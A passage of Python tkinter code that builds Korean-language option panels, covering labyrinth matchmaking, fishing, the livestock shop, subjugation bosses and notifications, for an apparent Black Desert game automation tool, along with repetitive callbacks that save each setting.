combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_open'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_open'].trace( 'w', lambda *args: self.callback_migung_open_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_open') ) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_open' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_open'] = True check_box = ttk.Checkbutton( master = frame, text = '공개', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_open'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W, side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_repeat'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_repeat'].trace( 'w', lambda *args: self.callback_migung_repeat_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_repeat') ) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_repeat' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_repeat'] = True check_box = ttk.Checkbutton( master = frame, text = '반복', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_repeat'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W, side=tkinter.LEFT) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_row, text='미궁 목록') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "난이도" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join'].trace( 'w', lambda *args: self.callback_migung_join_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join') ) combobox_list = [] for i in range(1, 9): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join'] = 5 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "단계 참여하고 " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join_limit'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join_limit'].trace( 'w', lambda *args: self.callback_migung_join_limit_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join_limit') ) combobox_list = [] for i in range(10, 601, 5): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join_limit' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join_limit'] = 30 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join_limit'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_join_limit']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "초 매칭 대기 후 재신청" ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W, side=tkinter.LEFT) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_row.pack(anchor=tkinter.W) frame_row = ttk.Frame(frame_head) frame_label = ttk.LabelFrame(frame_row, text='낚시') frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'naksi_limit'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'naksi_limit'].trace( 'w', lambda *args: self.callback_naksi_limit_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'naksi_limit') ) combobox_list = [] for i in range(60, 7201, 60): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'naksi_limit' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'naksi_limit'] = 600 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'naksi_limit'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'naksi_limit']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "초 동안 작업" ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W, side=tkinter.LEFT) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_row, text='말 가방에 넣기') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "옮길 아이템 갯수" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'mal_bag_open_item_limit'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'mal_bag_open_item_limit'].trace( 'w', lambda *args: self.callback_mal_bag_open_item_limit_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'mal_bag_open_item_limit') ) combobox_list = [] for i in range(1, 11): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'mal_bag_open_item_limit' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'mal_bag_open_item_limit'] = 1 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'mal_bag_open_item_limit'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'mal_bag_open_item_limit']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "개" ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W, side=tkinter.LEFT) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_row, text='가축상점') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "일반 사료 구매 " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_set'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_set'].trace( 'w', lambda *args: self.callback_pet_set_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_set') ) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_set' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_set'] = 100 combobox_list = [10, 50, 100] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_set'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_set']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "개씩" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_number'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_number'].trace( 'w', lambda *args: self.callback_pet_number_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_number') ) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_number' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_number'] = 2 combobox_list = [] for i in range(1, 100): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_number'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'pet_number']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "회" ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W, side=tkinter.LEFT) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_row.pack(anchor=tkinter.W) frame_head.pack(anchor=tkinter.W) # +-----------------------------------------+ # | | # | 토벌 게시판 | # | | # +-----------------------------------------+ frame_head = ttk.Frame(self.inner_frame_dic['tobeol_tab_frame']) frame_row = ttk.Frame(frame_head) frame = ttk.Frame(frame_row) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'custom'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'custom'].trace( 'w', lambda *args: self.callback_tobeol_custom_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'custom') ) if not lybconstant.LYB_DO_STRING_BD_TOBEOL + 'custom' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_TOBEOL + 'custom'] = False s = ttk.Style() s.configure('blue_checkbutton.TCheckbutton', foreground='blue') check_box = ttk.Checkbutton( master = frame, text = '개별 설정 사용', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'custom'], onvalue = True, style = 'red_checkbutton.TCheckbutton', offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W) frame = ttk.Frame(frame_row) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'auto_update'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'auto_update'].trace( 'w', lambda *args: self.callback_tobeol_auto_update_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'auto_update') ) if not lybconstant.LYB_DO_STRING_BD_TOBEOL + 'auto_update' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_TOBEOL + 'auto_update'] = True s = ttk.Style() s.configure('green_checkbutton.TCheckbutton', foreground='green') check_box = ttk.Checkbutton( master = frame, text = '토벌 실패시 난이도 업데이트', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'auto_update'], onvalue = True, style = 'green_checkbutton.TCheckbutton', offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W, padx=10) frame_row.pack(anchor=tkinter.W) frame = ttk.Frame(frame_head) frame.pack(pady=2) frame_row_top = ttk.Frame(frame_head) for i in range(len(LYBBlackDesert.tobeol_boss_list)): frame_row = ttk.Frame(frame_row_top) frame = ttk.Frame(frame_row) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + str(i)] = tkinter.BooleanVar(frame) if not lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + str(i) in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + str(i)] = True check_box = ttk.Checkbutton( master = frame, text = "%2d. %s" % (i+1, self.preformat_cjk(LYBBlackDesert.tobeol_boss_list[i], 18)), variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + str(i)], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) combobox_list = LYBBlackDesert.tobeol_rank_list self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + str(i)] = tkinter.StringVar(frame) if i == 0: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '0'].trace( 'w', lambda *args: self.callback_tobeol_process_0_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '0') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '0'].trace( 'w', lambda *args: self.callback_tobeol_rank_0_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '0') ) elif i == 1: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '1'].trace( 'w', lambda *args: self.callback_tobeol_process_1_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '1') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '1'].trace( 'w', lambda *args: self.callback_tobeol_rank_1_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '1') ) elif i == 2: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '2'].trace( 'w', lambda *args: self.callback_tobeol_process_2_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '2') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '2'].trace( 'w', lambda *args: self.callback_tobeol_rank_2_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '2') ) elif i == 3: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '3'].trace( 'w', lambda *args: self.callback_tobeol_process_3_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '3') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '3'].trace( 'w', lambda *args: self.callback_tobeol_rank_3_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '3') ) elif i == 4: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '4'].trace( 'w', lambda *args: self.callback_tobeol_process_4_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '4') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '4'].trace( 'w', lambda *args: self.callback_tobeol_rank_4_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '4') ) elif i == 5: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '5'].trace( 'w', lambda *args: self.callback_tobeol_process_5_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '5') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '5'].trace( 'w', lambda *args: self.callback_tobeol_rank_5_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '5') ) elif i == 6: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '6'].trace( 'w', lambda *args: self.callback_tobeol_process_6_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '6') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '6'].trace( 'w', lambda *args: self.callback_tobeol_rank_6_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '6') ) elif i == 7: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '7'].trace( 'w', lambda *args: self.callback_tobeol_process_7_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '7') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '7'].trace( 'w', lambda *args: self.callback_tobeol_rank_7_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '7') ) elif i == 8: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '8'].trace( 'w', lambda *args: self.callback_tobeol_process_8_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '8') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '8'].trace( 'w', lambda *args: self.callback_tobeol_rank_8_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '8') ) elif i == 9: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '9'].trace( 'w', lambda *args: self.callback_tobeol_process_9_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '9') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '9'].trace( 'w', lambda *args: self.callback_tobeol_rank_9_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '9') ) frame_row_top.pack(anchor=tkinter.NW, side=tkinter.LEFT, padx=10) frame_row_top = ttk.Frame(frame_head) elif i == 10: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '10'].trace( 'w', lambda *args: self.callback_tobeol_process_10_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '10') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '10'].trace( 'w', lambda *args: self.callback_tobeol_rank_10_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '10') ) elif i == 11: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '11'].trace( 'w', lambda *args: self.callback_tobeol_process_11_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '11') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '11'].trace( 'w', lambda *args: self.callback_tobeol_rank_11_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '11') ) elif i == 12: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '12'].trace( 'w', lambda *args: self.callback_tobeol_process_12_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '12') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '12'].trace( 'w', lambda *args: self.callback_tobeol_rank_12_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '12') ) elif i == 13: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '13'].trace( 'w', lambda *args: self.callback_tobeol_process_13_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '13') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '13'].trace( 'w', lambda *args: self.callback_tobeol_rank_13_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '13') ) elif i == 14: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '14'].trace( 'w', lambda *args: self.callback_tobeol_process_14_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '14') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '14'].trace( 'w', lambda *args: self.callback_tobeol_rank_14_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '14') ) elif i == 15: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '15'].trace( 'w', lambda *args: self.callback_tobeol_process_15_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '15') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '15'].trace( 'w', lambda *args: self.callback_tobeol_rank_15_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '15') ) elif i == 16: self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '16'].trace( 'w', lambda *args: self.callback_tobeol_process_16_booleanvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'process' + '16') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '16'].trace( 'w', lambda *args: self.callback_tobeol_rank_16_stringvar(args, lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + '16') ) if not lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + str(i) in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + str(i)] = combobox_list[0] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + str(i)], state = "readonly", height = 11, width = 4, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_TOBEOL + 'rank' + str(i)]) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = ' 단계 하락' ) label.pack(side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W) frame_row.pack(anchor=tkinter.W) frame_row_top.pack(anchor=tkinter.NW, side=tkinter.LEFT, padx=10) frame_head.pack(anchor=tkinter.W, padx=5, pady=5) # +-----------------------------------------+ # | | # | 알림 설정 | # | | # +-----------------------------------------+ frame_head = ttk.Frame(self.inner_frame_dic['notify_tab_frame']) frame_row = ttk.Frame(frame_head) frame = ttk.Frame(frame_row) self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'urewanryo'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'urewanryo'].trace( 'w', lambda *args: self.callback_notify_urewanryo_stringvar(args, lybconstant.LYB_DO_STRING_BD_NOTIFY + 'urewanryo') ) if not lybconstant.LYB_DO_STRING_BD_NOTIFY + 'urewanryo' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_NOTIFY + 'urewanryo'] = False check_box = ttk.Checkbutton( master = frame, text = '의뢰 완료', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'urewanryo'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W) frame = ttk.Frame(frame_row) self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'world_boss'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'world_boss'].trace( 'w', lambda *args: self.callback_notify_world_boss_stringvar(args, lybconstant.LYB_DO_STRING_BD_NOTIFY + 'world_boss') ) if not lybconstant.LYB_DO_STRING_BD_NOTIFY + 'world_boss' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_NOTIFY + 'world_boss'] = False check_box = ttk.Checkbutton( master = frame, text = '월드 보스 클리어', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'world_boss'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W) frame = ttk.Frame(frame_row) self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'migung'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'migung'].trace( 'w', lambda *args: self.callback_notify_migung_stringvar(args, lybconstant.LYB_DO_STRING_BD_NOTIFY + 'migung') ) if not lybconstant.LYB_DO_STRING_BD_NOTIFY + 'migung' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_NOTIFY + 'migung'] = False check_box = ttk.Checkbutton( master = frame, text = '미궁 클리어', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'migung'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W) frame = ttk.Frame(frame_row) self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'tobeol'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'tobeol'].trace( 'w', lambda *args: self.callback_notify_tobeol_stringvar(args, lybconstant.LYB_DO_STRING_BD_NOTIFY + 'tobeol') ) if not lybconstant.LYB_DO_STRING_BD_NOTIFY + 'tobeol' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_NOTIFY + 'tobeol'] = False check_box = ttk.Checkbutton( master = frame, text = '토벌 클리어', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'tobeol'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W) frame = ttk.Frame(frame_row) self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'character_death'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'character_death'].trace( 'w', lambda *args: self.callback_notify_character_death_stringvar(args, lybconstant.LYB_DO_STRING_BD_NOTIFY + 'character_death') ) if not lybconstant.LYB_DO_STRING_BD_NOTIFY + 'character_death' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_NOTIFY + 'character_death'] = True check_box = ttk.Checkbutton( master = frame, text = '캐릭터 필드 사망', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_NOTIFY + 'character_death'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W) frame_row.pack(anchor=tkinter.W) frame_head.pack(anchor=tkinter.W, padx=5, pady=5) # ------ self.option_dic['option_note'].pack(anchor=tkinter.NW, fill=tkinter.BOTH, expand=True) self.inner_frame_dic['options'].pack(anchor=tkinter.NW, fill=tkinter.BOTH, expand=True) self.set_game_option() def get_option_text(self, text): return "%s" % self.preformat_cjk(text, lybconstant.LYB_BD_OPTION_WIDTH) + ':' def get_item_rank_text(self, text): return "%s" % self.preformat_cjk(text, 6) def callback_tobeol_process_0_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_1_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_2_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_3_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_4_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_5_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_6_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_7_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_8_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_9_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_10_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_11_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_12_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_13_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_14_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_15_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_process_16_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_0_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_1_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_2_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_3_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_4_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_5_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_6_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_7_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_8_stringvar(self, args, option_name): self.set_game_config(option_name, 